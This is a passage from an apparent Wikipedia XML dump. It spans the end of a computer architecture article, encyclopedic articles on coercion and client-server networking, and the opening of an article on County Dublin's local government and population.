But there are also different types of speed. [[interrupt latency|Interrupt latency]] is the guaranteed maximum response time of the system to an electronic event (e.g. when the disk drive finishes moving some data). This number is affected by a very wide range of design choices -- for example, adding [[CPU cache|cache]] usually makes latency worse (slower) but makes other things faster.  Computers that control machinery usually need low interrupt latencies, because the machine can't, won't or should not wait.  For example, computer-controlled anti-lock brakes should not wait for the computer to finish what it's doing - they should brake. Low latencies can often be had very inexpensively.

[[Benchmark (computing)|Benchmark]]ing tries to take all these factors into account by measuring the time a computer takes to run through a series of test programs. Although benchmarking shows strengths, it may not help one to choose a computer.  Often the measured machines split on different measures.  For example, one system might handle scientific applications quickly, while another might play popular video games more smoothly.  Furthermore, designers have been known to add special features to their products, whether in hardware or software, features which permit a specific benchmark to execute quickly but which do not offer similar advantages to other, more general computational tasks.  Naïve users are apt to be unaware of such deceptive tricks.

The general scheme of optimization is to find the costs of the different parts of the computer.  In a balanced computer system, the data rate will be constant for all parts of the system, and cost will be allocated proportionally to assure this.  The exact form of the computer system will depend on the constraints and goals it was optimized for.

== Virtual memory ==
Another common problem involves [[virtual memory]].

Historically, [[random access memory]] has been thousands of times more expensive than rotating mechanical storage, i.e. hard drives in a modern computer.

For businesses, and many general computing tasks, it is a good compromise to never let the computer run out of memory, an event which would halt the program, and greatly inconvenience the user.

Instead of halting the program, many computer systems save less-frequently used blocks of memory to the rotating mechanical storage.
In essence, the mechanical storage becomes main memory.
However, mechanical storage is thousands of times slower than electronic memory.

==Reconfigurable computing==
Current research in [[reconfigurable computing]] is an attempt to break the structural limits of conventional processing architectures. A reconfigurable computing system [[compiler|compiles]] program source code to an intermediate code suitable for programming runtime reconfigurable [[FPGA|field-programmable gate arrays]], enabling a software design to be implemented directly in hardware. Since many different hardware-implemented programs can potentially perform in parallel, a reconfigurable computing system can be considered an advanced [[parallel computing|parallel processing architecture]]. Reconfigurable computing could also be categorized as [[computing in memory]], which is inspired by the function of the neuronal brain, where the processor and the memory cannot be distinguished from each other.

==See also==
* [[Computer hardware]]
* [[CPU design]]
* [[Orthogonal instruction set]]
* [[:Category:computer architecture|List of computer architecture topics]]

== References==
* [http://portal.acm.org/toc.cfm?id=SERIES416&amp;type=series&amp;coll=GUIDE&amp;dl=GUIDE&amp;CFID=41492512&amp;CFTOKEN=82922478 ISCA: Proceedings of the International Symposium on Computer Architecture]
* [http://www.microarch.org/ Micro: IEEE/ACM International Symposium on Microarchitecture]
* [http://www.hpcaconf.org/ HPCA: International Symposium on High Performance Computer Architecture]
* [http://portal.acm.org/toc.cfm?id=SERIES311&amp;type=series&amp;coll=GUIDE&amp;dl=GUIDE&amp;CFID=41492415&amp;CFTOKEN=3676847 ASPLOS: International Conference on Architectural Support for Programming Languages and Operating Systems]
* [http://www.acm.org/tocs/ ACM Transactions on Computer Systems]
* [http://www.computer.org/ IEEE Computer Society]
* [http://www.mdronline.com/mpr/ Microprocessor Report]

==External links==
* http://www.aceshardware.com
* http://www.anandtech.com
* http://www.dansdata.com
* http://www.barefeats.com
* http://www.cs.wisc.edu/~arch/www
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'''Coercion''' is the practice of compelling a person to act by employing [[threat]] of harm (e.g., by physical force). Often, it involves inflicting some ''actual'' harm in order to make the threat [[credible]], but it is the threat of (further) harm which brings about [[cooperation]] of the person being coerced. 

The term usually has a [[pejorative]] connotation, implying that such threat or harm is [[ethics|unethical]]. However, coercion may also be used in defense, against one who has initiated coercion. It is directly related to [[appeal to the stick]] (a form of [[Logical argument|argument]] in [[logic]]).

As opposition to coercion is central to the philosophy of [[libertarianism]], libertarians present specific definitions of coercion. They typically define it as any use of physical force, the threat of such, or deception (fraud) that alters the way an individual would use his person or property if those elements were not present. It is regarded that any actions that is not subject to the influence of any of these elements is voluntary.

==Overview==
Any person’s set of feasible choices is obtained from the combination of two elements: the ‘’initial endowment’’ (the perceived initial state of the world, which the chosen actions are going to affect) and the ‘’transformation rules’’ (which state how any chosen action will change the initial endowment, according to the person’s perception).

It follows that coercion could in principle take place by purposely manipulating either the transformation rules or the initial endowment (or both). In practice, however, the detailed choice reaction of a victim to a change in initial endowment is generally unpredictable. Hence effective coercion can only be carried out through manipulation of the transformation rules. This is done by the credible ‘’threat’’ of some injury, conditional on the victim’s choice. Often, it involves the ''actual'' inflicting of injury in order to make the threat [[credible]], but it is the threat of (further) injury which brings about the change in transformation rules. 

Coercion does not remove entirely the victim’s ability to choose, nor does it necessarily affect his or her ranking of potential alternatives. As Roman jurists used to say, ‘’coactus volui, tamen volui’’ (I willed under coercion, but still I willed). In the terminology of [[rational choice]] theory, coercion does not remove a person’s [[objective function]], but only affects the [[constraints]] under which such function is maximised. Yet, the purpose of coercion is to substitute one’s aims to those of the victim. For this reason, many social philosophers have considered coercion as the polar opposite to [[freedom]].

One must however distinguish various forms of coercion: first on the basis of the ‘’kind of injury’’ threatened, secondly according to its ‘’aims’’ and ‘’scope’’, and finally according to its ‘’effects’’, from which its legal, social, and ethical implications mostly depend.

==Means==
Looking at the content of the threat, one can distinguish between physical, psychological and economic coercion.

===Physical coercion===
Physical coercion is the most commonly considered form, where the content of the conditional threat is the use of force against the person, the dear ones or the property of the victim, An oft-used example is &quot;putting a gun to someone's head&quot; to compel action. Armed forces in many countries use [[firing squad]]s to maintain [[discipline]].

However, there also are non-physical forms of coercion, where the threatened injury does not immediately imply the use of force.

===Psychological coercion===
In psychological coercion, the threatened injury regards the victim’s relationships with other people. The most obvious example is ‘’[[blackmail]]’’, where the threat consists of the dissemination of damaging information. But many other cases are possible, including purposeful threats of rejection from or disapproval by a peers group, or even mere anger or displeasure by a loved one. Another instance is [[coercive persuasion]].

Psychological coercion – along with the other varieties - was extensively and systematically used by the government of the [[People’s Republic of China]] during the “Thought Reform” campaign of [[1951]]-[[1952]]. The process – carried out partly at “revolutionary universities” and partly within prisons – was investigated and reported upon by [[Robert Jay Lifton]], then Research Professor of Psychiatry at Yale University: see Lifton (1961). The techniques used by the Chinese authorities included standard [[group psychotherapy]], aimed at forcing the victims (who were generally intellectuals) to produce detailed and sincere ideological “confessions”. For instance, a professor of [[formal logic]] called Chin Yueh-lin – who was then regarded as China’s leading authority on his subject – was induced to write: “The new philosophy [of [[Marxism-Leninism]]], being scientific, is the supreme truth”. [Lifton (1961) p. 545].

====Usage====
Some people speak of '''cultural coercion''' when the fear of falling out with the group may force people into wearing a certain style of dress, publicly reciting a [[creed]] or a pledge of allegiance they find morally reprehensible, starting to smoke when they'd rather not, etc. Within the definitional framework adopted here, all such things amount to (psychological) coercion if and only if the fear of falling out with the group is the result of ‘’purposeful’’ threats by someone. See [[Peer pressure]], [[Sociology of religion]], [[Pledge of Allegiance]]. 

Some people include [[deception]] in their definition of (psychological) coercion. Yet deception does not generally involve ‘’any’’ threat at all, as it works by creating a mere ‘’false perception’’ by the victim of his or her ‘’given’’ transformation rules. Although its effects may sometimes be very similar to those of a conditional threat, it may hence be useful to treat deception as separate phenomenon.

===Economic coercion===

Economic coercion is when a agent (the coercer) puts economic pressure onto the victim (coercee). The most common example of this is cutting off the supply to an essential resource, such as water. If someone is the owner of the only water supply another person can use, then his threat to refuse to supply him with water is a death threat. Even though it only involves the coercer's refusal to enter into a [[contract]], without any use of physical force, this kind of coercion can be very powerful indeed.

Economic coercion requires [[market power]]. In the above example, the coercer's refusal to [[supply]] the coercee would be meaningless if the coercee had access to other independent sources of [[supply]]. But the coercer can turn his conditional refusal into an vital threat only because of his pure [[monopoly]] power over an essential resource, with no other substitutes.

An analogous result can also be obtained through pure [[monopsony]] power (where there is only one buyer as opposed to one seller in a monopoly). To reverse the above example, suppose that there are numerous independent suppliers of water, who sell it at a [[competitive|competition]] [[market price]]. If someone can only sell potatoes (to get money to buy water), and there is only one potato buyer he can sell to, then the buyer's simple conditional refusal to buy his potatoes would be a death threat, just as before.  

The idea that market power may imply a power of coercion has been underlined by some social philosophers. It shows that in some cases the social effects of market power may go far beyond those on economic [[distribution (business)|distribution]] and [[efficiency]]. &lt;!-- ***NEEDS CITATION*** Economic coercion is rare in [[market economy|market economies]]. Indeed, the maximum degree of market power – and hence potential economic coercion - is attained in those [[centrally planned economy|centrally planned economies]] where a closed group tightly controls all or most [[means of production]]. --&gt;

== Aims==
The aims of coercion can vary widely from totally &quot;selfish&quot; to totally ‘’altruistic’’ ones: from attempts to gain personal wealth and power at the expense of others to efforts aimed at saving other people’s souls.

===Predatory coercion===
The purely selfish kinds of coercion are a form of [[predatory behaviour]] by the coercing party, whose aim is to narrow down the scope of other people’s actions so as to make them instrumental to its own personal interests. According to many social philosophers, this sort of predatory behaviour would become the prevailing one under conditions of social [[anarchy (word)|anarchy]].

===Pedagogic and thought coercion=== 
At the other extreme of the spectrum one finds attempts to use coercion altruistically, as a pedagogical device to improve – in some supposedly objective sense – the way other people ‘’think’’, with particular regard to their basic attitudes and values. Pedagogic coercion may be applied within a strictly educational context, and it is then mostly directed towards children. In this article, however, attention will focus on ‘’thought coercion’’, i.e. the attempt to use coercion to affect the basic values of grown-up people in general.

In all forms of ‘’thought coercion’’ the immediate objective is to force other people to act ‘’as if’’ their basic choice rules were identical to those of the coercing party. However, this mere conformity of “outward” behaviour is but a first step. The true and final aim of thought coercion is to induce a change in the victim’s objective function itself, i.e. the basic set of values and rules by which the victim determines his or her own choice among the alternatives of ‘’any’’ feasible set. Thought coercion is thus generally meant to be only ‘’temporary’’. Once the desired change in values has been brought about, the victim is expected to conform spontaneously, without any need for further coercion.

Whether and under what conditions this final aim can in fact be stably achieved is a difficult question, and it will be considered in the section devoted to the effects of coercion. Here it is necessary to point out that, whatever its effectiveness, thought coercion has in fact been used very extensively throughout history.

====Religious coercion====
The most ancient, extensive and durable kind of thought coercion has concerned [[religion]]. Religious coercion is a subset of predatory coercion, in which the selfish entity is a supernatural one.  The threat typically manifests as a promise by the entity to respond to incorrect behavior with '''damnation'''--eternal discomfort.  This coercion has taken the form of religious [[discrimination]] and [[persecution]], including forced conversions, and on many occasions it has led to [[religious wars]]. 

[[Christianity]]'s early persecution by [[Rome]] had in fact political rather than strictly religious objectives. But its subsequent expansion was associated with a substantial amount of purely religious coercion, mainly by Christians against members of other religions and [[heretics]]. Moreover, Christianity’s tendency to strong and systematic religious coercion – particularly but not only by the [[Roman Catholic Church]] – has long outlived its first few centuries, and has only been finally checked – though by no means extinguished - by the emergence of modern [[liberal democracy|liberal democracies]], with their principle of firm separation between Church and State.

Although its past record has shown a somewhat higher degree of religious tolerance (e.g. towards [[Jews]]), [[Islam]] has also been and continues to be an important and durable source of religious coercion.

====Ideological coercion====
‘’Ideological coercion’’ is the use of thought coercion in the attempt to modify people’s [[social philosophy|social]] and [[political philosophy|political]] philosophy. This is of course quite different from plain propaganda, or even the simple persecution of political opponents, because its objective is to force individual ideological conversions. Unlike religious coercion, it is a quite recent phenomenon, confined to some of the [[totalitarian]] regimes of the [[twentieth century]].

The most notable single example of ideological coercion was the already mentioned Chinese “Thought Reform” campaign of 1951-52, which signalled itself for both thoroughness and number of people involved. Yet, it must be noticed that by [[1966]] the Chinese authorities found it necessary to follow that up with a new – albeit slightly milder – campaign, as part of the [[Maoist]] “Cultural Revolution” of [[1966]]-[[1968]].

Starting from the [[Soviet]] purges of the Thirties, similar “brainwashing” techniques were intermittently and less systematically used by most [[Communist]] regimes of the twentieth century. By contrast, the [[Fascist]] and [[Nazi]] regimes of [[Italy]] and [[Germany]] tended to confine their coercive activities to purely [[political]] aims, without any serious attempt to force the ideological conversion of their opponents. The use of (physical) ideological coercion was however theorised by some Fascist philosophers, like [[Giovanni Gentile]].

===Disciplinary coercion===
Somewhere in the middle between predatory and pedagogic coercion one finds the forms of coercion that are used as the main coordination tools of command systems. These are organisations that use coercion to enforce on their members patterns of division of labour aimed at reaching the organisation’s goals, which for a variety of reasons may not always be consistent with each member’s personal aims. The most typical example of a command system is a military organisation, but any large production team may easily fall into this category. 

Through the punishment system of disciplinary coercion, each individual member is typically forced into altruistic behaviour in the interest of the whole group. This is why this kind of coercion is not predatory, and – unlike thought coercion – may often be accepted in advance by the members of the group.

==Scope==
The scope of coercion has to do with who uses a conditional threat against whom. It is closely linked with some of the other aspects already surveyed above, and may be of paramount importance in determining coercion’s effects and implications.

===Specific coercion===
Specific or ‘’personal’’ coercion is the most commonly considered kind. It takes place when the conditional threat is decided upon by one particular individual or small group, and/or directed against some other individual or small group. All forms of predatory and thought coercion fall into this category.

=== Unspecific coercion===
Under unspecific or ‘’impersonal’’ coercion the conditional threats come from well-known and socially accepted general rules – rather than any individual or sub-group – and are directed against anybody in the stated conditions, according to clearly stated principles of due process. In practice, the narrowing down of individual choice may be here principally aimed at reducing the incidence of specific coercion, rather than forcing on everybody some special sub-set of positive goals. More generally, unspecific coercion may be the form taken by disciplinary coercion, and this appears to be in fact the case within the most effective command systems of the modern world. 

Unspecific coercion is thus the same thing as the [[rule of law]] in its widest sense. This must not however be confused with the ‘’monopoly of coercion by the State’’. First, State coercion may very easily be arbitrary – indeed technically very ‘’specific’’, according to the above definition. Secondly, there are well-documented historical examples of (small) societies that have practiced unspecific coercion ‘’without’’ the help of State institutions – like [[Iceland]] in the early [[Middle Ages]]. The identification between State and law is but a special ‘’normative’’ principle introduced by (public) Roman law, which according to some, like [[Maitland]], was for this very reason to be treated as the quintessential “law of tyranny”. 

==Effects==
The effects of coercion may differ substantially according to its type and scope. Here they will be considered from the legal, psychological, social and ethical points of view.

===Legal effects===
In most legal systems, the use of ‘’physical’’ specific coercion by private individuals is a [[criminal offence]] in all cases not involving self defence. 

The picture is less simple for ‘’psychological’’ specific coercion, owing to the general difficulty in finding clear evidence for it. In most systems psychological coercion is treated as a criminal offence when it is aimed at ‘’extortion’’, as is typical of blackmail. It is also punished when it leads to ‘’undue influence’’, defined as a master-slave relationship.

Finally, ‘’economic’’ coercion is generally unlawful under most systems of anti-trust legislation, where it can amount to either a criminal offence – as under the Sherman Act of the US – or an administrative offence liable to a mere fine – as under EU legislation on the abuse of a dominant position. It is important however to remember that [[trade unions]] and other groups of organised workers are mostly exempted from this general principle for acts of economic coercion (like strikes) against their employers, 

====Exculpation and nullity====
Specific coercion may be used as a legal defence in criminal cases for acts committed under threat of injury.  Similarly, one may claim the legal nullity of a [[contract]] signed under duress. 

In both cases, however, the question arises of whether a &quot;[[reasonable person]]&quot; would have perceived a threat, and reacted in the same way. Moreover, under most modern legal systems ‘’disciplinary’’ coercion cannot be claimed as an exculpating circumstance for [[war crimes]] committed under unlawful orders.

===Psychological effects: the effectiveness of thought coercion===
As already stated, thought coercion – either religious or ideological – is defined by its ultimate end to alter the fundamental values and beliefs of its victims. To ask whether this can in fact be done is to put a fundamental and age-old question: can [[conscience]] be coerced?

At the beginning of the sixth century, in a famous letter to the Jews of [[Genoa]], the [[Goths|Gothic]] king [[Theodoric the Great]], who was an [[Arian]] Christian, wrote: “...We cannot command the religion of our subjects, since no-one can be forced to believe against his will”: Hodgkin (1886) p. 219. This idea that conscience ‘’cannot’’ in fact be coerced originated among the [[Stoic]] philosophers of ancient [[Greece]], and resurfaced many centuries later during and after the European [[Renaissance]], as one of the basic tenets of classic (or Whig) [[liberalism]].

The opposite view was however the dominant one within what [[Karl Popper]] (1945) has called the [[Platonic]] tradition, which included among other things both mainstream Christianity and [[Hegel]]’s philosophy, with its later polar developments of [[Marxism]] and [[Fascism]].

Yet, though these opposite answers may lead to divergent ethical and political prescriptions, the question itself is about a matter of mere psychological fact, which can be addressed empirically, looking at experience. Lifton (1961) on Chinese thought reform is one of the very few such works, and its findings are thus highly relevant here. Very broadly and on the whole, these findings were that on most victims the impact of thought reform tended to be temporary. In the short run it might be considerable, even leading to something close to a profound religious experience – particularly in subjects of relatively younger age (under thirty). But after a few years, and left to themselves, the victims tended to question the principles they had been indoctrinated with, reverting in most cases to their former values and convictions. 

If correct, these findings would suggest that thought coercion cannot generally achieve its ultimate goal to ‘’permanently’’ affect people’s basic values. In the Chinese case, this prediction came soon true, with the unorthodox outcomes of the “Hundred Flowers” episode of 1957. More generally, one would hence be led to expect that – far from being temporary – thought coercion would have to become a ‘’stable’’ feature of society, in order to produce any long-lasting result. And indeed – as seen above – such predicted tendency to repeat and institutionalise itself appears to be borne out by the historical record of thought coercion in both Communist regimes and the Catholic Church.

===Social effects: coercion and progress===
====Whig-liberal tradition====
According to the Whig-liberal tradition, due to the Scottish moral philosophers of the seventeenth and eighteenth centuries, widespread specific coercion has the general effect of limiting society’s ability to find new and better ways of doing things: see e.g. Hayek (1960). This follows from the view of social culture as the outcome of an [[evolutionary process]] of adaptation and selection through trial and error. Since specific coercion restricts the range of potential choices to the whims of only a few individuals, it narrows down society’s chances to experiment and select new solutions, and hence its ability to adapt. Thus, it is predicted that ‘’in the long run’’ the most successful societies would mainly be those where the incidence of specific coercion was less.

However, this only applies to ‘’specific’’ coercion. By contrast, it is argued that ‘’unspecific’’ coercion – brought about by the rule of law – does not in itself hinder adaptation in any important way, because it is as uniform and predictable as the constraints following from natural laws. Moreover, the rule of law is the only available way to curb specific coercion. Hence, far from being a hindrance, unspecific coercion is in this view a necessary condition for human progress.

====Platonic tradition====
Needless to say, those who believe they already know what is best for society, and thus feel no need to rely on any evolutionary process, do not share the Whig-liberal negative view of the social effects of specific coercion. They often opt instead for a so-called [[social engineering]] approach, whereby a [[command]] system steered by a few competent individuals – and buttressed up by quite specific coercion – is assumed to be the most “rational” way to ensure social progress. 

The earliest formulation of this alternative view is found in [[Plato]]’s ‘’Republic’’. In modern times the idea re-surfaced during the French Revolution, thanks to Rousseau’s famous distinction between the will of all and a supposed “’’general will’’”, which – unlike the former – was defined as embodying the objective “good” for society. According to Rousseau and his followers, social progress required that those who are somehow inspired by the “general will” should be entitled to enforce it through revolutionary coercion on the will of all. Later on, during the nineteenth and early twentieth centuries, this French revolutionary principle – though not of course its specific way to identify the “general will” – percolated into first [[Socialist]] and then [[Fascist]] political thinking.

===Ethical effects: coercion and freedom===
To most people, the ethical implications of individual predatory coercion are straightforward. In recent times, some have attempted to extend a similar ethical judgement to non-predatory forms of coercion by individuals. Thus, for instance, the [[Taking Children Seriously]] movement has criticised pedagogic coercion by adults, including parents, on children, holding that it is possible and desirable to act with a child in such a way that all activities are consensual.

The ethical standing of wider forms of supposedly “altruistic” specific coercion – like political and thought coercion – is however much more controversial, along lines relating to the assumed relationship between coercion and [[freedom]], which is often regarded as an ethical value in itself.

====Coercion as the negation of freedom====
The Whig-liberal tradition has led to the well-known notion of (negative) freedom as lack of specific coercion. According to this view, any form of specific coercion is then unethical in itself as an injury to freedom, quite apart from its damaging effects on social progress. Indeed, the ethical value of (negative) freedom is grounded on the idea that conscience cannot be coerced, and is thus the ultimate standard of morality. It hence follows that – from an ethical point of view – coercion cannot even be regarded as a lesser evil: since it cannot produce conscientious behaviour, it can never bring about the fulfilment of ‘’any’’ ethical value.

====Coercion as a source of freedom====
However, the basing of all ethical values on conscience has also produced a diametrically opposed view. Developing the Socratic idea that moral evil is a result of ignorance, the Stoic philosophers had argued that one’s “true” conscience – and hence virtue – could only be attained by freeing oneself from irrationality and passions, through the stern self-control that is typical of wise men. This principle was then fitted into the Christian framework of original sin and the need for “outside” redemption, to produce the idea that on many occasions external specific coercion could and should take the place of self-control in setting ordinary people free from their sinful tendencies. Almost paradoxically, personal spiritual freedom came thus to be often based on specific thought coercion by the inspired few, 

This alternative approach has percolated far beyond the religious field, and is shared to-day by all those who think they have a privileged access to “true” conscience, thanks to divine revelation, superior “scientific” knowledge or some other special circumstance. A part from religious principles, the “true” conscience involved may be class-consciousness, patriotism, altruism, “social” values, political correctness or any other strongly held ethical world-view. The common element is the firm belief that coercion – ranging from legal State-coercion to terrorism – can and should be used to realize “true” freedom for all. 

==Examples of coercion in media==

* In the first season of ''[[24 (television)|24]]'', [[Jack Bauer]] was coerced into assisting a political assassination, by threat of harm to his wife and daughter.

* By threat of [[blackmail]], the five main characters in ''[[The Usual Suspects]]'' are coerced into paying back a debt to [[Keyser Soze]].

* In ''[[The Empire Strikes Back]]'', [[Lando Calrissian]] is coerced by [[Darth Vader]] into [[double cross|double crossing]] [[Han Solo]], as bait to trap [[Luke Skywalker]].

==References==
*Anderson, Scott A. (undated), &quot;Towards a Better Theory of Coercion, and a Use for It&quot;, The University of Chicago [http://ptw.uchicago.edu/Anderson02.pdf]
*Hayek, Friedrich A. (1960) ‘’The Constitution of Liberty’’, University of Chicago Press.
*Hodgkin, Thomas (1886) (trans.) ‘’Letters of Cassiodorus’’, London: H. Frowde.
*Lifton, Robert J. (1961) ‘’Thought Reform and the Psychology of Totalism’’, Penguin Books.
*Popper, Karl R. (1945) ''The Open Society and Its Enemies'' 
*Rhodes, Michael R. (2000), &quot;The Nature of Coercion&quot;, ''Journal of Value Inquiry'', 34 (2/3)
*Rothbard, Murray N. (1982), &quot;F. A. Hayek and the Concept of Coercion&quot;, in ‘’The Ethics of Liberty'', Humanities Press [http://www.mises.org/rothbard/ethics/twentyeight.asp]

[[Category:Freedom]]
[[Category:Legal terms]]
[[Category:Liberalism]]
[[Category:Political ideology entry points]]
[[Category:Political theories]]
[[Category:Psychological abuse]]
[[Category:Social philosophy]]

[[de:Nötigung]]
[[es:Coerción]]
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    </revision>
  </page>
  <page>
    <title>Client-server</title>
    <id>6513</id>
    <revision>
      <id>40558848</id>
      <timestamp>2006-02-21T12:25:07Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ko</comment>
      <text xml:space="preserve">'''Client/Server''' is a [[Computer network|network]] architecture which separates the [[client (computing)|client]] (often a [[graphical user interface]]) from the [[server]].  Each instance of the client software can send requests to a server or [[application server]].  

Although this idea is applied in a variety of ways, on many different kinds of [[Application software|applications]], the easiest example to visualize is the current use of web pages on the internet.  For example, if you are reading this article on Wikipedia, your [[computer]] and [[web browser]] would be considered a ''client'',  and the computers , [[Database|databases]], and applications that make up the Wikipedia would be considered the ''server''. When your web browser requests a particular article from Wikipedia, the Wikipedia server finds all of the information required to display the article in the Wikipedia database, assembles it into a web page, and sends it back to your web browser for you to look at. 


== Introduction ==

A Client/Server architecture is intended to provide a scalable architecture, whereby each computer or process on the network is either a client or a server.  Server software generally, but not always, runs on powerful computers dedicated for exclusive use to running the business application.  Client software on the other hand generally runs on common PCs or workstations.  Clients get all or most of their information and rely on the application server for things such as configuration files, stock quotes, business application programs, or to offload computer-intensive application tasks back to the server in order to keep the client computer (and client computer user) free to perform other tasks. 

Properties of a server: 
* Passive (Slave)
* Waiting for requests
* On requests serves them and send a reply

Properties of a client:
* Active (Master)
* Sending requests
* Waits until reply arrives

Servers can be stateless or stateful. A stateless server does not keep any information between requests. Example: An HTTP server for static HTML pages. A stateful server can remember information between requests. The scope of this information can be global or session. Example: Apache Tomcat.

The interaction between client and server is often described using [[Unified_Modeling_Language#Sequence_Diagram|sequence diagrams]]. Sequence diagrams are standardized in the [[Unified Modeling Language|UML]].

Another type of network architecture is known as a [[peer-to-peer]] architecture because each node or instance of the program is both a &quot;client&quot; and a &quot;server&quot; and each has equivalent responsibilities.  Both client/server and peer-to-peer architectures are in wide use. Each has advantages and disadvantages..

== Multi-tier architectures ==

A generic Client/Server architecture has two types of nodes on the network: clients and servers. As a result, these generic architectures are sometimes referred to as &quot;two-tier&quot; architectures.

Some networks will consist of three different kinds of nodes, clients, [[Application server|application servers]] which process data for the clients, and [[Database server|database servers]] which store data for the application servers.  This is called a [[three-tier architecture]].

In general, an n-tier or [[multi-tier architecture]] may deploy any number of distinct services, including transitive relations between application servers implementing different functions of business logic, each of which may or may not employ a distinct or shared database system.

The advantage of an n-tier architecture compared with a two-tier architecture (or a three-tier with a two-tier) is that it separates out the processing that occurs to better balance the load on the different servers; it is more scalable.
The disadvantages of n-tier architectures are:
# It puts a greater load on the network.
# It is much more difficult to program and test software than in two-tier architecture because more devices have to communicate to complete a user’s transaction.

== Addressing ==
Methods of addressing in client server environments can be described as follows
* Machine process addressing; where the address is divided up as follows process@machine. Therefore 56@453 would indicate the process 56 on computer 453
* Name Server; Name servers have an index of all names and addresses of servers in the relevant domain.
* Localization packets; Broadcast messages are sent out to all computers in the distributed system to determine the address of the destination computer
* Trader; A trader is a system that indexes all the services available in a distributed system. A computer requiring a particular service will check with the trading service for the address of a computer providing such a service.

== Examples ==

A popular client in widespread use today is the web browser which communicates with web servers over the internet to fetch and display web page content.

The [[X Window System]] is a client-server architecture with an unusual property.  The server is always local (near the user) and the client can be local or remote.  This can be less confusing if you think of the server (the X display) as making some resource available (a windowing display system) and the client as making use of that resource.

==See also==
* [[server]]
* [[servent]]
*[[thin client]]
*[[fat client]]
*[[game client]]
*[[Client/SOA]]
*[[application server]]

== Other Network Architectures==
* [[multitier architecture]]
* [[Peer-to-peer]]


[[Category:Computer networks]]
[[Category:Software architecture]]

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[[es:Cliente-servidor]]
[[fa:مشتری-خادم]]
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[[ko:클라이언트-서버]]
[[it:Sistema client/server]]
[[he:שרת לקוח]]
[[nl:Client-servermodel]]
[[pl:Klient-serwer]]
[[pt:Cliente-servidor]]
[[sv:Klient–server]]
[[zh:客户端-服务器]]</text>
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  </page>
  <page>
    <title>County Dublin</title>
    <id>6514</id>
    <revision>
      <id>41897661</id>
      <timestamp>2006-03-02T13:25:31Z</timestamp>
      <contributor>
        <username>CarolGray</username>
        <id>239028</id>
      </contributor>
      <minor />
      <comment>/* Towns and suburbs */ dab Sutton</comment>
      <text xml:space="preserve">{{Ireland county infobox|
  county_name = County Dublin |
  Irish_name = Contae Bhaile Átha Cliath |
  crest_image = |
  county_map = IrelandDublin.png|
  area = 921 km² |
  county town = [[Dublin]] |
  code = D |
  population = 1,122,821 |
  census_yr = 2002 |
  Province = Leinster |
|}}
'''County Dublin''' ([[Irish language|Irish]] ''Contae Bhaile Átha Cliath''), or more correctly the '''Dublin Region'''{{fn|1}} (''Réigiúin Átha Cliath''), is the area that contains the city of [[Dublin]], the [[capital]] and largest city of the [[Republic of Ireland]]; and the modern counties of [[Dun Laoghaire-Rathdown]], [[Fingal]] and [[South Dublin]]. The [[Dublin Regional Authority]] is the [[Regions of the Republic of Ireland|regional authority]] for the region.

{{Seealso|List of subdivisions of County Dublin}}

==Introduction==

Dublin is located on the east coast of Ireland in the [[Provinces of Ireland|province]] of [[Leinster]]. The area held [[county]] status until its dissolution as such in [[1994]], where Section 9 Part 1(a) of the ''Local Government (Dublin) Act, 1993'' stated that as of 1st January 1994 &quot;the county shall cease to exist&quot;{{fn|2}}. At that time, and in response to a European Council report highlighting Ireland as the most centralised country in the [[European Union]], it was decided that a single County Dublin was unmanageable and undemocratic from a [[Local Government]] perspective. The county was formally abolished and replaced with [[Dun Laoghaire-Rathdown]], [[Fingal]], and [[South Dublin]]. The Government was fully aware of the magnitude of the legislation that was being passed, most poignantly noted by [[Teachta Dála|TD]] [[Avril Doyle]] in the [[Dáil Éireann]] assembly of the 3rd of November 1993, where she declared &quot;The Bill before us today effectively abolishes County Dublin. I am not sure whether Dubliners realise that that is what we are about today, but in effect that is the case&quot;{{fn|3}}.

==Currently==

At present, many organisations, state agencies and sporting teams continue to operate on a &quot;County Dublin&quot; basis. Subsequently, much confusion exists around the legitimacy of the new counties - though they do have [[administrative county]] status, the only protected recognition of a county within the [[Republic of Ireland]]. County Dublin is now defined in legislation solely as the &quot;Dublin Region&quot; under the ''Local Government Act, 1991 (Regional Authorities) (Establishment) Order, 1993''{{fn|1}}, and this is the terminology officially used by the four Dublin administrative councils in press releases concerning the former county area. Separate use of the term ''[[Greater Dublin Area]]'', which consists of all of the Dublin Region and the counties of [[County Kildare|Kildare]], [[County Meath|Meath]] and [[County Wicklow|Wicklow]] has created additional confusion. The [[census]] of 2002{{fn|4}} recorded the total population of the Dublin Region at 1,122,821, accounting for 28% of the national figure.

The latest [[Ordnance Survey Ireland]] &quot;Discovery Series&quot; (Third Edition 2005) 1:50,000 map of the Dublin Region, Sheet 50, shows the boundaries of the city and three surrounding counties of the region. Extremities of the Dublin Region, in the north and south of the region, appear in other sheets of the series, 43 and 56 respectively.

==Local Government==
[[Image:Map of the Dublin Region2.PNG|thumb|180px|right|Map of the Dublin Region]]
[[Dublin City Council]] has existed for centuries, previously as ''Dublin Corporation'', as a [[county borough]], whilst [[Dublin County Council]] in 1994 was abolished and replaced by three new county councils. Thus in summary the [[local authority]] divisions within the Dublin Region are:

{| BORDER=1 CELLSPACING=0 CELLPADDING=&quot;3&quot; align=center
| '''Name'''
| '''Map'''
| '''[[Area]]: km&amp;sup2;'''
| '''[[Population|Pop]]: 2002{{fn|4}}'''
|-
| [[Dublin|City of Dublin]]
| align=center| 1
| align=right| 114.99 (12.6%)
| align=right| 495,781 (44.2%)
|-
| [[Dun Laoghaire-Rathdown|County of Dun Laoghaire-Rathdown]]
| align=center| 2
| align=right| 127.31 (13.9%)
| align=right| 191,792 (17.1%)
|-
| [[Fingal|County of Fingal]]
| align=center| 3
| align=right| 448.07 (49.1%)
| align=right| 196,413 (17.5%)
|-
| [[South Dublin|County of South Dublin]]
| align=center| 4
| align=right| 222.74 (24.4%)
| align=right| 238,835 (21.3%)
|}

==Towns and suburbs==
*[[Artane, Dublin|Artane]], [[Ashington]], [[Ashtown]]
*[[Balbriggan]], [[Baldoyle]], [[Balgriffin]], [[Ballinteer]], [[Ballsbridge]], [[Ballycullen]], [[Ballyfermot]], [[Ballymun]], [[Balrothery]], [[Bayside]], [[Beaumont]], [[Blackrock]], [[Blanchardstown]], [[Bluebell]], [[Booterstown]], [[Bray]], [[Brittas]]
